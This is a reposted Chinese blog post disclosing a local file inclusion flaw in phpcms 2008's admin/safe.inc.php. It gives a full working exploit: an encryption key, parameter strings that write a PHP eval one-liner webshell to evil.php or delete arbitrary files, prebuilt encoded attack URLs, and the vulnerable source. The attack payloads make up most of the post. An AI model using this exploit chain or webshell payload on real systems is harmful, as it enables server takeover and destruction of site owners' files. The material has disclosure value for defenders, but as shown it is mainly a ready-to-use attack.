开发者社区> 技术小美> 正文

phpcms本地包含漏洞导致的写shell漏洞和删除任意文件漏洞

简介:
+关注继续查看

 by c4rp3nt3r@0x50sec.org

phpcms2008 sp2 or sp4偶没仔细看
这年头发个bug伤不起啊,厂商忽略,被人当成装X,有木有,心情不爽啊不管这么多了。

phpcms本地包含拿shell的方法,这篇文章接上一个

http://www.wooyun.org/bugs/wooyun-2010-01795

《phpcms的phpcms_auth导致的任意变量覆盖漏洞、本地文件包含漏洞和任意文件下载漏洞》

phpcms本地包含类漏洞,如果该文件包含了/include/common.inc.php就可以包含执行很多后台才能执行的文件了。

由于phpcms的全局变量机制,导致能拿shell的方法很多,类似的问题不止一个。

admin/safe.inc.php文件是后台扫木马的程序,但是很可惜的是虽然文件名叫做safe,但是一点也不safe。

公布一个本地包含秒杀拿shell的方法。

包含:admin/safe.inc.php文件GET提交一下数据

将在根目录下生成一句话
用上一篇得到的密钥$key=’sIpeofogblFVCildZEwe’;
加密如下字符串
$evil=’i=1&m=1&f=fuck&action=edit_code&file_path=evil.php&code=<?eval($_POST[a])?>&mod=../../admin/safe.inc.php%00′;

http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBUBBhIwBA0II3AlAAABBTUWERt0FRMGCkEXChxgNSwNCVlmehITEiVYQTA2IDQ2NycLalZSQjcqE1hdZ19LQUkOAw8FKHkwCAoBdCwZBl05GBVKVl8=

将在根目录下生成一句话木马

同理任意文件删除漏洞:
$evil=’i=1&m=1&f=fuck&action=del_file&files=robots.txt&mod=../../admin/safe.inc.php%00′;

http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBQAAzkJDg4JYDAqBQkXZzcYBxw9A0sbHhtBDwMia21HQ0p0ahYBHiAeShwHCQJMBSg1bRkEFH91Rw==


贴上存在漏洞的代码
//admin/safe.inc.php
<?php
defined(‘IN_PHPCMS’) or exit(‘Access Denied’);
// include/common.inc.php 里面声明了常量
// define(‘IN_PHPCMS’, TRUE);

if(empty($action)) $action = “start”;
$safe = cache_read(‘safe.php’);
$filecheck = load(‘filecheck.class.php’);
if(empty($safe))
{
$safe = array (
‘file_type’ => ‘php|js’,
‘code’ => ”,
‘func’ => ‘com|system|exec|eval|escapeshell|cmd|passthru|base64_decode|gzuncompress’,
‘dir’ => $filecheck->checked_dirs()
);
}
switch ($action)
{

case ‘edit_code’:
if (file_put_contents(PHPCMS_ROOT.$file_path, stripcslashes($code)))
{
showmessage(‘修改成功!’);
}
break;

case ‘del_file’:
$file_path = urldecode($files);

if (empty($file_path))
{
showmessage(‘请选择文件’);
}
$file_list = cache_read(‘scan_backdoor.php’);
unset($file_list[$file_path]);
cache_write(‘scan_backdoor.php’,$file_list);
@unlink(PHPCMS_ROOT.$file_path);
showmessage(‘文件删除成功!’, ‘?mod=phpcms&file=safe&action=scan_table’);
break;













本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/537456,如需转载请自行联系原作者

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

相关文章
Linux Shell脚本读写XML文件
在Linux下如何用Shell脚本读写XML?现有一个config.xml    192.168.1.45   1209   /home/john 需要修改里面的"server-ip", "server-port" and "import-path",用Shell脚本的参数$1,$2,$3来写入。
1940 0
FTP定时批量下载文件(SHELL脚本及使用方法 ) (转)--good
#/bin/bash URL="http://192.168.5.100/xxx.php" check() { RESULT=$(curl -s $URL) echo $RESULT if [ "$RESULT" -eq "1111" ...
1460 0
+关注
6819
文章
0
问答
文章排行榜
最热
最新
相关电子书
更多
JS零基础入门教程(上册)
立即下载
性能优化方法论
立即下载
手把手学习日志服务SLS,云启实验室实战指南
立即下载